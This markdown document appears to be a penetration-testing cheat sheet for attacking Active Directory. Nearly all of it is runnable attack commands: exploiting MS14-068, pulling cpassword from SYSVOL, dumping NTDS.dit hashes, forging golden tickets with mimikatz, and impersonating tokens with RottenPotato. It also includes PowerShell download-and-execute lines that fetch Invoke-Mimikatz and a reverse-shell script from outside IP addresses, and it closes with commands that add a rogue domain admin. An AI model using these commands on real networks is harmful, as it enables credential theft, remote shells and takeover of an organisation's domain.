# Active Directory Attacks

## Most common paths to AD compromise
  * MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
    ```bash
    Exploit Python: https://www.exploit-db.com/exploits/35474/
    Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
    Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum

    git clone https://github.com/bidord/pykek
    python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
    python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
    mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
    ```
  * MS17-010 (Eternal Blue - Local Admin)
    ```c
    nmap -Pn -p445 — open — max-hostgroup 3 — script smb-vuln-ms17–010 <ip_netblock>
    ```
  * Unconstrained Delegation (incl. pass-the-ticket)
  * OverPass-the-Hash (Making the most of NTLM password hashes)
  * GPO - Pivoting with Local Admin & Passwords in SYSVOL
    ```c
    findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml

    or

    Metasploit: scanner/smb/smb_enumshares
    Metasploit: windows/gather/enumshares
    Metasploit: windows/gather/credentials/gpp


    /!\ GPO Priorization : Organization Unit > Domain > Site > Local
    List all GPO for a domain :
    Get-GPO -domaine DOMAIN.COM -all
    Get-GPOReport -all -reporttype xml --all

    or

    Powersploit:
    Get-NetGPO
    Get-NetGPOGroup
    ```
  * Dangerous Built-in Groups Usage

  * Dumping AD Domain Credentials (%SystemRoot%\NTDS\Ntds.dit)
  ```c
  C:\>ntdsutil
  ntdsutil: activate instance ntds
  ntdsutil: ifm
  ifm: create full c:\pentest
  ifm: quit
  ntdsutil: quit

  or

  vssadmin create shadow /for=C :
  Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit

  then you need to use secretsdump to extract the hashes
  secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL


  or

  Metasploit : windows/gather/credentials/domain_hashdump

  or

  PowerSploit : Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit
  ```
  * Golden Tickets    
  Mimikatz version
  ```c
  Get info - Mimikatz
  lsadump::dcsync /user:krbtgt
  lsadump::lsa /inject /name:krbtgt

  Forge a Golden ticket - Mimikatz
  kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
  kerberos::tgt
  ```

  Meterpreter version
  ```c
  Get info - Meterpreter(kiwi)
  dcsync_ntlm krbtgt
  dcsync krbtgt

  Forge a Golden ticket - Meterpreter
  load kiwi
  golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
  golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
  kerberos_ticket_purge
  kerberos_ticket_use /root/Downloads/pentestlabuser.tck
  kerberos_ticket_list
  ```
  * Kerberoast
    ```c
    https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/
    https://room362.com/post/2016/kerberoast-pt1/
    ```
  * Silver Tickets
  * Trust Tickets


## Tools
  * [Impacket](https://github.com/CoreSecurity/impacket)
  * [Responder](https://github.com/SpiderLabs/Responder)
  * [Mimikatz](https://github.com/gentilkiwi/mimikatz)
  * [Ranger](https://github.com/funkandwagnalls/ranger)
  * [BloodHound](https://github.com/BloodHoundAD/BloodHound)
  * [AdExplorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer)
  * [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec)
  * [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon)
  ```
  powershell.exe -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('http://10.11.0.47/PowerUp.ps1'); Invoke-AllChecks”
  powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1');"
  ```


## Privilege Escalation
### PrivEsc - Token Impersonation (RottenPotato)
Binary available at : https://github.com/foxglovesec/RottenPotato      
Binary available at : https://github.com/breenmachine/RottenPotatoNG   
```c
getuid
getprivs
use incognito
list\_tokens -u
cd c:\temp\
execute -Hc -f ./rot.exe
impersonate\_token "NT AUTHORITY\SYSTEM"
```

```
Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};"
```


### PrivEsc - MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)
```
Powershell:
https://www.exploit-db.com/exploits/39719/
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1

Binary exe : https://github.com/Meatballs1/ms16-032

Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
```


## Local Admin to Domain Admin
```
net user hacker2 hacker123 /add /Domain
net group "Domain Admins" hacker2 /add /domain
```


## Thanks to
 * [https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html](https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html)
 * [Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher](https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa)
 * [Road to DC](https://steemit.com/infosec/@austinhudson/road-to-dc-part-1)
 * [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288)
 * [Golden ticket](https://pentestlab.blog/2018/04/09/golden-ticket/)